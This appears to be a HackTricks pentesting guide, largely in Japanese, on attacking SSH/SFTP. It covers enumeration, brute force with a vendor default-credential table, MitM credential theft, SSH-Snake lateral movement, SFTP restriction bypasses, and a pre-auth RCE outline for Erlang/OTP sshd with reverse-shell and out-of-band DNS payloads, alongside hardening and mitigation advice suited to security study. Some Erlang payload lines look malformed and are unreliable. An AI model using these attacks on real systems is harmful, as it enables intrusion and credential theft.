22 - Pentesting SSH/SFTP

Reading time: 23 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

基本情報

SSH (Secure Shell or Secure Socket Shell) は、未保護のネットワーク上でコンピュータへの安全な接続を確立するネットワークプロトコルです。リモートシステムにアクセスする際のデータの機密性と完全性を維持するために不可欠です。

デフォルトポート: 22

22/tcp open  ssh     syn-ack

SSH サーバー:

  • openSSH – OpenBSD の SSH。BSD、Linux ディストリビューション、Windows(Windows 10 以降)に搭載。
  • Dropbear – メモリやプロセッサリソースが限られた環境向けの SSH 実装で、OpenWrt に搭載。
  • PuTTY – Windows 向けの SSH 実装。クライアントは一般的に使われるが、サーバーとしての利用は稀。
  • CopSSH – Windows 向けの OpenSSH 実装。

SSH ライブラリ(サーバー側実装):

  • libssh – SSHv2 プロトコルを実装したマルチプラットフォームの C ライブラリで、PythonPerlR のバインディングがある。sftp では KDE、git の SSH インフラでは GitHub によって利用されている。
  • wolfSSH – ANSI C で書かれた SSHv2 サーバーライブラリで、組み込み、RTOS、リソース制約のある環境をターゲットにしている。
  • Apache MINA SSHD – Apache SSHD の Java ライブラリは Apache MINA に基づいている。
  • paramiko – Python 向けの SSHv2 プロトコルライブラリ。

Enumeration

bash
nc -vn <IP> 22

自動化された ssh-audit

ssh-audit は ssh サーバ & クライアントの設定監査用ツールです。

https://github.com/jtesta/ssh-audit is an updated fork from https://github.com/arthepsy/ssh-audit/

機能:

  • SSH1 および SSH2 プロトコルのサーバサポート;
  • SSH クライアントの設定を解析;
  • バナーを取得し、デバイスやソフトウェアとオペレーティングシステムを認識し、圧縮を検出;
  • 鍵交換、ホストキー、暗号化、およびメッセージ認証コードアルゴリズムを収集;
  • アルゴリズム情報を出力(導入時期、削除/無効化、安全でない/弱い/レガシー など);
  • アルゴリズム推奨を出力(認識されたソフトウェアのバージョンに基づいて追加または削除);
  • セキュリティ情報を出力(関連する問題、割り当てられた CVE リストなど);
  • アルゴリズム情報に基づく SSH バージョン互換性の分析;
  • OpenSSH、Dropbear SSH、libssh からの履歴情報;
  • Linux と Windows 上で動作;
  • 依存関係なし
bash
usage: ssh-audit.py [-1246pbcnjvlt] <host>

-1,  --ssh1             force ssh version 1 only
-2,  --ssh2             force ssh version 2 only
-4,  --ipv4             enable IPv4 (order of precedence)
-6,  --ipv6             enable IPv6 (order of precedence)
-p,  --port=<port>      port to connect
-b,  --batch            batch output
-c,  --client-audit     starts a server on port 2222 to audit client
software config (use -p to change port;
use -t to change timeout)
-n,  --no-colors        disable colors
-j,  --json             JSON output
-v,  --verbose          verbose output
-l,  --level=<level>    minimum output level (info|warn|fail)
-t,  --timeout=<secs>   timeout (in seconds) for connection and reading
(default: 5)
$ python3 ssh-audit <IP>

実演を見る (Asciinema)

サーバーの公開SSHキー

bash
ssh-keyscan -t rsa <IP> -p <PORT>

弱い暗号アルゴリズム

これはデフォルトでnmapによって検出されます。ただしsslcansslyzeも使用できます。

Nmap スクリプト

bash
nmap -p22 <ip> -sC # Send default nmap scripts for SSH
nmap -p22 <ip> -sV # Retrieve version
nmap -p22 <ip> --script ssh2-enum-algos # Retrieve supported algorythms
nmap -p22 <ip> --script ssh-hostkey --script-args ssh_hostkey=full # Retrieve weak keys
nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check authentication methods

Shodan

  • ssh

Brute force usernames, passwords and private keys

Username Enumeration

特定のバージョンの OpenSSH では、timing attack を行ってユーザーを列挙できることがあります。これを悪用するための metasploit module を利用できます:

msf> use scanner/ssh/ssh_enumusers

Brute force

いくつかの一般的な ssh 認証情報は here and here、および以下にあります。

Private Key Brute Force

使えそうな ssh の秘密鍵がいくつか分かっているなら…試してみましょう。nmap スクリプトを使うことができます:

https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html

または MSF auxiliary module:

msf> use scanner/ssh/ssh_identify_pubkeys

または ssh-keybrute.py を使用してください(native python3、軽量でレガシーアルゴリズムが有効): snowdroppe/ssh-keybrute.

既知の badkeys はここで見つかります:

ssh-badkeys/authorized at master \xc2\xb7 rapid7/ssh-badkeys \xc2\xb7 GitHub

弱い SSH keys / Debian の予測可能な PRNG

一部のシステムでは、暗号化素材を生成するための乱数シードに既知の欠陥があり、その結果 keyspace が劇的に減少して bruteforced され得ます。弱い PRNG の影響を受けた Debian システム上で生成された事前生成のキーセットはここにあります: g0tmi1k/debian-ssh.

有効なキーをターゲットマシンで探す場合は、ここを確認してください。

Kerberos / GSSAPI SSO

ターゲットの SSH サーバが GSSAPI をサポートしている場合(例: domain controller 上の Windows OpenSSH)、パスワードの代わりに Kerberos TGT を使って認証できます。

Linux 攻撃者ホストからのワークフロー:

bash
# 1) Ensure time is in sync with the KDC to avoid KRB_AP_ERR_SKEW
sudo ntpdate <dc.fqdn>

# 2) Generate a krb5.conf for the target realm (optional, but handy)
netexec smb <dc.fqdn> -u <user> -p '<pass>' -k --generate-krb5-file krb5.conf
sudo cp krb5.conf /etc/krb5.conf

# 3) Obtain a TGT for the user
kinit <user>
klist

# 4) SSH with GSSAPI, using the FQDN that matches the host SPN
ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>

注意事項:

  • ホスト名が間違っている場合(例: 短縮ホスト名、エイリアス、または /etc/hosts の順序が間違っているなど)に接続すると、SPN が一致しないため "Server not found in Kerberos database" というエラーが発生することがあります。
  • crackmapexec ssh --kerberos は Kerberos 認証であなたの ccache を使用することもできます。

デフォルトの認証情報

ベンダーユーザー名パスワード
APCapc, deviceapc
Brocadeadminadmin123, password, brocade, fibranne
Ciscoadmin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladminadmin, Admin123, default, password, secur4u, cisco, Cisco, _Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme
Citrixroot, nsroot, nsmaint, vdiadmin, kvm, cli, adminC1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler
D-Linkadmin, userprivate, admin, user
Dellroot, user1, admin, vkernel, clicalvin, 123456, password, vkernel, Stor@ge!, admin
EMCadmin, root, sysadminEMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc
HP/3Comadmin, root, vcx, app, spvar, manage, hpsupport, opc_opadmin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin
Huaweiadmin, root123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123
IBMUSERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customerPASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer
Junipernetscreennetscreen
NetAppadminnetapp123
Oracleroot, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2userchangeme, ilom-admin, ilom-operator, welcome1, oracle
VMwarevi-admin, root, hqadmin, vmware, adminvmware, vmw@re, hqadmin, default

SSH-MitM

ローカルネットワークにいて、ユーザー名とパスワードで SSH サーバに接続しようとしている被害者がいる場合、それらの認証情報を盗むために MitM 攻撃を実行する ことを試みることができます:

  • トラフィックのリダイレクト: 攻撃者は被害者のトラフィックを自分のマシンに迂回させ、SSH サーバへの接続試行を効果的に傍受します。
  • 傍受とログ記録: 攻撃者のマシンはプロキシとして動作し、正規の SSH サーバになりすましてユーザのログイン情報を取得します。
  • コマンド実行と中継: 最終的に攻撃者のサーバはユーザの認証情報を記録し、コマンドを実際の SSH サーバへ転送して実行し、その結果をユーザへ返送するため、プロセスはシームレスかつ正当なものに見えます。

SSH MITM は上で説明したことを正確に実行します。

実際に MitM を行って取得するには、ARP spoofing、DNS spoofin のような手法や Network Spoofing attacks に記載された他の手法を使用できます。

SSH-Snake

システム上で発見した SSH の秘密鍵を利用してネットワークを横断し、各システムの秘密鍵を使って新しいホストへアクセスしたい場合は、SSH-Snake が役立ちます。

SSH-Snake は次のタスクを自動かつ再帰的に実行します:

  1. 現在のシステム上で SSH の秘密鍵を見つける,
  2. 現在のシステム上で、秘密鍵が受け入れられる可能性のあるホストや宛先 (user@host) を見つける,
  3. 発見したすべての秘密鍵を使って、すべての宛先に対して SSH 接続を試みる,
  4. 宛先に正常に接続できた場合、接続先のシステムでステップ 1〜4 を繰り返す.

これは完全に自己複製・自己拡散型で、ファイルレスです。

設定ミス

Root login

SSH サーバがデフォルトで root ユーザのログインを許可していることは一般的で、重大なセキュリティリスクとなります。root login を無効にすること はサーバ保護における重要な手順です。管理権限を持つ不正アクセスやブルートフォース攻撃をこの変更で軽減できます。

OpenSSH で Root Login を無効化する手順:

  1. SSH 設定ファイルを編集: sudoedit /etc/ssh/sshd_config
  2. 設定を #PermitRootLogin yes から PermitRootLogin no に変更する.
  3. 設定をリロード: sudo systemctl daemon-reload
  4. 変更を反映するために SSH サーバを再起動: sudo systemctl restart sshd

SFTP Brute Force

SFTP command execution

SFTP のセットアップでよくある見落としとして、管理者はリモートシェルアクセスを有効にせずにファイル交換のみを許可するつもりで設定することがあります。ユーザに非対話型シェル(例: /usr/bin/nologin)を設定し、特定のディレクトリに制限しても、セキュリティ上の抜け穴が残ることがあります。ユーザはこれらの制限を回避できる ことがあり、ログイン直後に指定の非対話型シェルが起動する前にコマンド(例: /bin/bash)の実行を要求することで、不正にコマンドを実行できてしまい、意図したセキュリティ対策が無効化されます。

Example from here:

bash
ssh -v noraj@192.168.1.94 id
...
Password:
debug1: Authentication succeeded (keyboard-interactive).
Authenticated to 192.168.1.94 ([192.168.1.94]:22).
debug1: channel 0: new [client-session]
debug1: Requesting no-more-sessions@openssh.com
debug1: Entering interactive session.
debug1: pledge: network
debug1: client_input_global_request: rtype hostkeys-00@openssh.com want_reply 0
debug1: Sending command: id
debug1: client_input_channel_req: channel 0 rtype exit-status reply 0
debug1: client_input_channel_req: channel 0 rtype eow@openssh.com reply 0
uid=1000(noraj) gid=100(users) groups=100(users)
debug1: channel 0: free: client-session, nchannels 1
Transferred: sent 2412, received 2480 bytes, in 0.1 seconds
Bytes per second: sent 43133.4, received 44349.5
debug1: Exit status 0

$ ssh noraj@192.168.1.94 /bin/bash

以下はユーザー noraj のための安全な SFTP 設定 (/etc/ssh/sshd_config – openSSH) の例です:

Match User noraj
ChrootDirectory %h
ForceCommand internal-sftp
AllowTcpForwarding no
PermitTunnel no
X11Forwarding no
PermitTTY no

この設定は SFTP のみを許可します:start command を強制して shell access を無効化し、TTY アクセスも無効化しますが、同時にあらゆる port forwarding や tunneling も無効化します。

SFTP Tunneling

SFTP サーバにアクセスできる場合、トラフィックをそこ経由でトンネルすることもできます。例えば一般的な port forwarding を使って:

bash
sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>

The sftp にはコマンド「symlink」があります。したがって、あるフォルダにwritable rightsがあれば、other folders/filessymlinksを作成できます。おそらくchrootの中に閉じ込められているため(trapped)、これはwon't be specially usefulかもしれませんが、作成したsymlinkno-chrootservice(例えば、その symlink にwebからアクセスできる場合)からaccessできれば、web経由でsymlinked filesopenすることができます。

For example, to create a symlink from a new file "froot" to "/":

bash
sftp> symlink / froot

もしウェブ経由でファイル "froot" にアクセスできれば、システムのルート ("/") フォルダを列挙できます。

認証方法

高セキュリティ環境では、単純なパスワード認証の代わりにキー認証や二要素認証のみを有効にするのが一般的です。しかし、強力な認証方式を有効にしても、弱い方式を無効化しないことがよくあります。よくあるケースとして、openSSH の設定で publickey を有効にしてデフォルトに設定するが、password を無効化しない、というものがあります。したがって、SSH クライアントの詳細出力 (verbose mode) を使うと、攻撃者は弱い方式が有効になっていることを確認できます:

bash
ssh -v 192.168.1.94
OpenSSH_8.1p1, OpenSSL 1.1.1d  10 Sep 2019
...
debug1: Authentications that can continue: publickey,password,keyboard-interactive

例えば、認証失敗の制限が設定されていて、password method に到達する機会がない場合は、PreferredAuthentications オプションを使ってこのメソッドの使用を強制できます。

bash
ssh -v 192.168.1.94 -o PreferredAuthentications=password
...
debug1: Next authentication method: password

SSHサーバの設定を確認して、想定した認証方式のみが許可されているかをチェックする必要があります。クライアントの詳細出力モードを使うと、設定の有効性を確認しやすくなります。

設定ファイル

bash
ssh_config
sshd_config
authorized_keys
ssh_known_hosts
known_hosts
id_rsa

Fuzzing

Authentication State-Machine Bypass (Pre-Auth RCE)

いくつかの SSH サーバ実装には、authentication finite-state machine に論理的欠陥があり、クライアントが認証完了前に connection-protocol メッセージを送信できてしまいます。サーバが正しい状態にあるかを検証しないため、これらのメッセージはあたかもユーザが完全に認証済みであるかのように処理され、unauthenticated code execution やセッション作成につながります。

プロトコルレベルでは、message code≥ 80 (0x50) の SSH メッセージは connection レイヤ(RFC 4254)に属し、successful authentication 後のみ受け入れられるべき(RFC 4252)です。サーバが SSH_AUTHENTICATION 状態のままこれらのメッセージを処理すると、攻撃者は即座にチャネルを作成し、command execution、port-forwarding などの操作を要求できます。

Generic Exploitation Steps

  1. ターゲットの SSH ポートに TCP 接続を確立します(一般的には 22、ただし他のサービスが Erlang/OTP を 2022、830、2222 などで公開している場合もあります)。
  2. 生の SSH パケットを作成します:
  • 4-byte packet_length (big-endian)
  • 1-byte message_code ≥ 80 (e.g. SSH_MSG_CHANNEL_OPEN = 90, SSH_MSG_CHANNEL_REQUEST = 98)
  • 選択したメッセージタイプが解釈できるペイロード
  1. パケットを任意の認証処理を完了する前に送信します。
  2. 現在 pre-auth 状態で公開されているサーバ API とやり取りします(command execution、port forwarding、file-system access、…)。

Python proof-of-concept outline:

python
import socket, struct
HOST, PORT = '10.10.10.10', 22
s = socket.create_connection((HOST, PORT))
# skip version exchange for brevity – send your own client banner then read server banner
# … key exchange can be skipped on vulnerable Erlang/OTP because the bug is hit immediately after the banner
# Packet: len(1)=1, SSH_MSG_CHANNEL_OPEN (90)
pkt  = struct.pack('>I', 1) + b'\x5a'  # 0x5a = 90
s.sendall(pkt)
# additional CHANNEL_REQUEST packets can follow to run commands

実際にはターゲットの実装に応じて鍵交換を実行(またはスキップ)する必要がありますが、no authentication は一切行われません。


Erlang/OTP sshd (CVE-2025-32433)

  • Affected versions: OTP < 27.3.3, 26.2.5.11, 25.3.2.20
  • Root cause: Erlang のネイティブ SSH デーモンは ssh_connection:handle_msg/2 を呼び出す前に現在の状態を検証しません。したがって、メッセージコードが 80–255 の任意のパケットがセッションがまだ userauth 状態の間にコネクションハンドラに到達します。
  • Impact: unauthenticated remote code execution(デーモンは通常、embedded/OT デバイス上で root として実行されます)。

Example payload that spawns a reverse shell bound to the attacker-controlled channel:

erlang
% open a channel first … then:
execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}]).").

Blind RCE / out-of-band detection は DNS を介して実行できます:

erlang
execSinet:gethostbyname("<random>.dns.outbound.watchtowr.com").Zsession

検出と緩和:

  • SSHトラフィックを監視: 認証前に観測された message code ≥ 80 のパケットを破棄する
  • Erlang/OTP を 27.3.3 / 26.2.5.11 / 25.3.2.20 以上にアップグレードする。
  • 管理用ポートの露出を制限する (22/2022/830/2222) — 特に OT 機器で。

他に影響を受ける実装

  • libssh 0.6 – 0.8 (server side) – CVE-2018-10933 – クライアントから送信された認証されていない SSH_MSG_USERAUTH_SUCCESS を受け入れてしまう、事実上の逆のロジック欠陥。

共通の教訓は、RFCで定められた状態遷移からの逸脱は致命的になり得るということです。レビューや fuzzing を行う際は、SSH daemons に対して特に state-machine enforcement に注意を払ってください。

References

HackTricks Automatic Commands

Protocol_Name: SSH
Port_Number: 22
Protocol_Description: Secure Shell Hardening

Entry_1:
Name: Hydra Brute Force
Description: Need Username
Command: hydra -v -V -u -l {Username} -P {Big_Passwordlist} -t 1 {IP} ssh

Entry_2:
Name: consolesless mfs enumeration
Description: SSH enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/ssh/ssh_version; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use scanner/ssh/ssh_enumusers; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ssh/juniper_backdoor; set RHOSTS {IP}; set RPORT 22; run; exit'

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする